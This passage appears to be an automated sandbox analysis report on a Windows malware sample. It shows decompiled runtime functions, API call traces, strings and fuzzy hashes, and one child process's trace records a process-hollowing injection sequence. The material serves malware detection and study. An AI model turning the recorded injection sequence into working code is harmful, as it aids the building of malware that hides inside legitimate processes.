Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: Debug_messagestd::_
String ID: C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale$invalid null pointer
API String ID: 3726000766-955221705
Opcode ID: 705375979ef83e528768a8b6949148d2b1aafebab1a0dc6855a672c8837bd857
Instruction ID: 56a0e34bb0bfd9bdece3b84cf0764aa871f857462871b9104487fc8b66f553a3
Opcode Fuzzy Hash: 705375979ef83e528768a8b6949148d2b1aafebab1a0dc6855a672c8837bd857
Instruction Fuzzy Hash: C2F0C2B2B00228BBCF10EF969C81CDB776CDF96754F10802BFD0467242C2789D4087A5

Uniqueness

Uniqueness Score: -1.00%

Function 0041D977, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0041D977(intOrPtr __ecx, signed char* _a4, intOrPtr _a8, short* _a12) {
				intOrPtr _v8;
				short* _t14;
				signed char* _t22;

				_push(__ecx);
				_t22 = _a4;
				_push(_a8);
				_t19 = L"C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\include\\xlocale";
				_v8 = __ecx;
				E0041D162(_t22, _a8, L"C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\include\\xlocale", 0xa64);
				_t14 = _a12;
				if(_t14 == 0) {
					E00420700(L"invalid null pointer", _t19, 0xa65);
				}
				while(_t22 != _a8) {
					 *_t14 = L0041D0D5(_v8,  *_t22 & 0x000000ff);
					_t22 =  &(_t22[1]);
					_t14 = _t14 + 2;
				}
				return _t22;
			}

0x0041d97a
0x0041d97d
0x0041d981
0x0041d984
0x0041d992
0x0041d996
0x0041d99b
0x0041d9a0
0x0041d9ad
0x0041d9b2
0x0041d9ca
0x0041d9c3
0x0041d9c6
0x0041d9c7
0x0041d9c7
0x0041d9d5

APIs

Part of subcall function 0041D162: std::_Debug_message.LIBCPMTD ref: 0041D198

std::_Debug_message.LIBCPMTD ref: 0041D9AD

Strings

C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale, xrefs: 0041D984, 0041D98E, 0041D9A7
invalid null pointer, xrefs: 0041D9A8

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: Debug_messagestd::_
String ID: C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale$invalid null pointer
API String ID: 3726000766-955221705
Opcode ID: 387b915124fd24c72fa5e48a63ddd3eb5a9585d45152222092b0bf82bf51e9d5
Instruction ID: ab4ebfa0537ed2e06ae94d362a28830c0930e218de25c0e8cf4dbaa00d4c0cb8
Opcode Fuzzy Hash: 387b915124fd24c72fa5e48a63ddd3eb5a9585d45152222092b0bf82bf51e9d5
Instruction Fuzzy Hash: DAF090F2A00354B7CF10AF969C86DDFB778DF96728F04802BFD4567241D279AA4087A9

Uniqueness

Uniqueness Score: -1.00%

Function 00424390, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00424390(char _a4) {
				intOrPtr _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v32;
				signed int _t11;
				signed int _t27;

				_push(0xfffffffe);
				_push(0x440ae0);
				_push(E0042B290);
				_push( *[fs:0x0]);
				_t11 =  *0x44ad00; // 0xb3655e1f
				_v12 = _v12 ^ _t11;
				_push(_t11 ^ _t27);
				_t3 =  &_v20; // 0x41ee37
				 *[fs:0x0] = _t3;
				E00430240();
				_v8 = 0;
				_t5 =  &_a4; // 0x41ee37
				_v32 = E00424410( *_t5);
				_v8 = 0xfffffffe;
				E004243EB();
				_t9 =  &_v20; // 0x41ee37
				 *[fs:0x0] =  *_t9;
				return _v32;
			}

0x00424395
0x00424397
0x0042439c
0x004243a7
0x004243ae
0x004243b3
0x004243b8
0x004243b9
0x004243bc
0x004243c2
0x004243c7
0x004243ce
0x004243da
0x004243dd
0x004243e4
0x004243f4
0x004243f7
0x00424405

APIs

__onexit_nolock.LIBCMTD ref: 004243D2

Part of subcall function 00424410: DecodePointer.KERNEL32(?,004243D7,7A,B3655E1F,00000000,?,?), ref: 0042441E
Part of subcall function 00424410: DecodePointer.KERNEL32(?), ref: 0042442E

Strings

7A, xrefs: 004243CE, 004243D1
7A, xrefs: 004243B9, 004243F4

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: DecodePointer$__onexit_nolock
String ID: 7A$7A
API String ID: 1291430618-201286014
Opcode ID: 06e48180dfb4b79c82efc620ac98b1844a9f2c3c2d512cb5cd8de0b285122353
Instruction ID: 32c5fcb47e84ed22eb068a156955948822431b159d96a5087fe296e8926b1b25
Opcode Fuzzy Hash: 06e48180dfb4b79c82efc620ac98b1844a9f2c3c2d512cb5cd8de0b285122353
Instruction Fuzzy Hash: C2F0F9B2E04318ABCB00DF95EC41B9FB7B8EB44724F20462BF82593680D73955008B95

Uniqueness

Uniqueness Score: -1.00%

Function 0041D2C6, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041D2C6(void* __ecx) {
				intOrPtr _t15;
				void* _t19;

				_t19 = __ecx;
				 *((intOrPtr*)(__ecx + 0x30)) = 0;
				 *((intOrPtr*)(__ecx + 8)) = 0;
				 *((intOrPtr*)(__ecx + 0x10)) = 0;
				 *((intOrPtr*)(__ecx + 0x14)) = 0x201;
				 *((intOrPtr*)(__ecx + 0x18)) = 6;
				 *((intOrPtr*)(__ecx + 0x1c)) = 0;
				 *((intOrPtr*)(__ecx + 0x20)) = 0;
				 *((intOrPtr*)(__ecx + 0x24)) = 0;
				 *((intOrPtr*)(__ecx + 0x28)) = 0;
				 *((intOrPtr*)(__ecx + 0x2c)) = 0;
				E0041D1E2(__ecx, 0, 0);
				if(E0041EDE0(4, E0041EEB0(), "C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\include\\xiosbase", 0x234) == 0) {
					_t15 = 0;
				} else {
					_t15 = E0041CDBA(_t14);
				}
				 *((intOrPtr*)(_t19 + 0x30)) = _t15;
				return _t15;
			}

0x0041d2c7
0x0041d2ce
0x0041d2d1
0x0041d2d4
0x0041d2d7
0x0041d2de
0x0041d2e5
0x0041d2e8
0x0041d2eb
0x0041d2ee
0x0041d2f1
0x0041d2f4
0x0041d315
0x0041d320
0x0041d317
0x0041d319
0x0041d319
0x0041d323
0x0041d327

APIs

Part of subcall function 0041D1E2: __CxxThrowException@8.LIBCMTD ref: 0041D201
Part of subcall function 0041D1E2: std::exception::exception.LIBCMTD ref: 0041D223

new.LIBCPMTD ref: 0041D30B

Part of subcall function 0041EDE0: std::bad_alloc::bad_alloc.LIBCMTD ref: 0041EE28
Part of subcall function 0041EDE0: _atexit.LIBCMTD ref: 0041EE32

std::locale::locale.LIBCPMT ref: 0041D319

Part of subcall function 0041CDBA: std::locale::_Init.LIBCPMTD ref: 0041CDBD
Part of subcall function 0041CDBA: std::locale::facet::_Incref.LIBCPMT ref: 0041CDCB

Strings

C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xiosbase, xrefs: 0041D2FE

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: Exception@8IncrefInitThrow_atexitstd::bad_alloc::bad_allocstd::exception::exceptionstd::locale::_std::locale::facet::_std::locale::locale
String ID: C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xiosbase
API String ID: 3789690622-1419271442
Opcode ID: d58fb1aba29cfa91e24101e9c2c60004e15564ab375373a3f453dfc91e0876c1
Instruction ID: 96845cabc4419920deeb7d8e51a5c98acfac59b9312eff64448d681ecd10993f
Opcode Fuzzy Hash: d58fb1aba29cfa91e24101e9c2c60004e15564ab375373a3f453dfc91e0876c1
Instruction Fuzzy Hash: 85F01DB0D00B009FD3309F6B9845997FAF9BFE0704B500A1FE89682A61D7F8A5458A5A

Uniqueness

Uniqueness Score: -1.00%

Function 0042270F, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 0042271F

Strings

_CrtCheckMemory(), xrefs: 00422728
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 00422734

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: CheckMemory
String ID: _CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2067751306-2660621803
Opcode ID: fb4918dcc31bd8afeacad62343c0f40b28274a3a7b034d91a8a6d2c157588043
Instruction ID: 447e9ddc703d9e648a7fbe6eb21bbb38b839dcc2c14d406423542d50c7499bc2
Opcode Fuzzy Hash: fb4918dcc31bd8afeacad62343c0f40b28274a3a7b034d91a8a6d2c157588043
Instruction Fuzzy Hash: 57F0A030744331E6DA209F20BF87721B320A74074AF61C92BF94855A95E5FC9690A54E

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: GJXZRPhgm4.exe PID: 6588 Parent PID: 6196 GJXZRPhgm4.exeCOMMON

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

0x0040196d
0x0040196d
0x0040196d
0x00401970
0x00401971
0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000004.00000002.331844794.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

0x00401973
0x00401978
0x00401986
0x0040198c
0x00401994
0x00401999
0x004019a1
0x004019af
0x004019b4
0x004019b6
0x004019b8
0x004019bb
0x004019be
0x004019bf
0x004019c0
0x004019c0
0x004019c9
0x004019e8
0x004019f9

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000004.00000002.331844794.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000004.00000002.331844794.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: aafjaea PID: 2208 Parent PID: 664 aafjaeaCOMMON

Executed Functions

Function 00860110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00860156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0086016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00860255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00860270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00860283
GetThreadContext.KERNELBASE(00000000,?), ref: 0086029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 008602C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 008602E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00860304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0086032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00860399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 008603BF
SetThreadContext.KERNELBASE(00000000,?), ref: 008603E1
ResumeThread.KERNELBASE(00000000), ref: 008603ED
ExitProcess.KERNEL32(00000000), ref: 00860412

Memory Dump Source

Source File: 0000000F.00000002.372401843.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 48f36803586bf9cc5d893b2daec4c6c12b4842be52f978c8cfee5cd863e779dc
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 08B1C874A00208AFDB44CF98C895FAEBBB5FF88314F248158E509AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00860630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(user32), ref: 008606E2

Strings

GetMessageExtraInfo, xrefs: 00860794, 0086079A
GetMessageA, xrefs: 008612F7, 008612FA
WriteProcessMemory, xrefs: 00860CE9, 00860CEF
user32, xrefs: 008606DB, 008606E1
VirtualAlloc, xrefs: 00860AC1, 00860AC7
GetCommandLineA, xrefs: 00860F82, 00860F88
ReadProcessMemory, xrefs: 00860C4A, 00860C50
PostMessageA, xrefs: 008612B0, 008612B6
RegisterClassExA, xrefs: 008611B7, 008611BD
VirtualFree, xrefs: 00860BB2, 00860BB8
DefWindowProcA, xrefs: 00861374, 0086137A
GetFileAttributesA, xrefs: 008613D7, 008613DA
VirtualProtectEx, xrefs: 008614E9, 008614EF
WaitForSingleObject, xrefs: 00860E95, 00860E9B
VirtualAllocEx, xrefs: 00860B44, 00860B4A
WriteFile, xrefs: 008608CD, 008608D0
MessageBoxA, xrefs: 008606EE, 008606F4
CreateWindowExA, xrefs: 0086123E, 00861244
GetStartupInfoA, xrefs: 0086145B, 00861461
ntdll.dll, xrefs: 00860FE2, 00860FE8
NtWriteVirtualMemory, xrefs: 0086112C, 00861132
CloseHandle, xrefs: 00860938, 0086093E
kernel32, xrefs: 008607ED, 008607F3
CreateFileA, xrefs: 0086088B, 00860891
ExitProcess, xrefs: 00861554, 0086155A
ResumeThread, xrefs: 00860DEF, 00860DF5
NtUnmapViewOfSection, xrefs: 00861085, 0086108B
GetModuleFileNameA, xrefs: 00860EFB, 00860EFE
CreateProcessA, xrefs: 008609BB, 008609C1
WinExec, xrefs: 00860820, 00860823
SetThreadContext, xrefs: 00860D7A, 00860D80
GetThreadContext, xrefs: 00860A4C, 00860A52

Memory Dump Source

Source File: 0000000F.00000002.372401843.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: aba51c361f0d6a967cd4a4f174797a2c32bfcad7b8f84f202198aa6915796042
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: 9BA25460D0C6E8C9EB21C668CC4C7DDBEB55B26749F0841D9818C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 00860420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00860533

Strings

d, xrefs: 00860584
saodkfnosa9uin, xrefs: 008604DA
mfoaskdfnoa, xrefs: 00860520, 00860523
0, xrefs: 00860492

Memory Dump Source

Source File: 0000000F.00000002.372401843.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 98a3d3d7ae511a9b9ea567fc181acbd6f8e85e4971bd31f107135bfb9894c274
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 95511870D08388DAEB11CBE8C849BDEBFB2AF11708F144058D5457F286C7BA5A58CB66

Uniqueness

Uniqueness Score: -1.00%

Function 008605B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 008605EC

Strings

apfHQ, xrefs: 008605E2, 008605E5
o, xrefs: 00860600

Memory Dump Source

Source File: 0000000F.00000002.372401843.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 1b7e1c9c7098a92935539fc288257bcc305fc722126d1b7a73094522391a105b
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 35011A70C0424CEADB10DBE8C5183AEBFB5AF51309F1480D9C4096B242D7B69B98CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 00A9606A, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 00A960B2

Memory Dump Source

Source File: 0000000F.00000002.372831796.0000000000A91000.00000040.00000001.sdmp, Offset: 00A91000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 9067a24157b59b5b06d87e06352b526d6f6e414d8411df71270d6b8c1e1b527e
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 3AF0F032700714AFDF203BF9A8CDB6E76E8BF48764F104229E642964C0CBB0EC458A61

Uniqueness

Uniqueness Score: -1.00%

Function 00A95D29, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00A95D7A

Memory Dump Source

Source File: 0000000F.00000002.372831796.0000000000A91000.00000040.00000001.sdmp, Offset: 00A91000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 5538c2099dfe9aaa340ee0a93dc27ba0dcfe06a45964b46061af054811b0535d
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 2C110C79A00208EFDB01DF98CA85E99BBF5AF08751F158094F9489B362D771EA50DF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: aafjaea PID: 1904 Parent PID: 2208 aafjaeaCOMMON

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000010.00000002.385669914.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000010.00000002.385669914.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
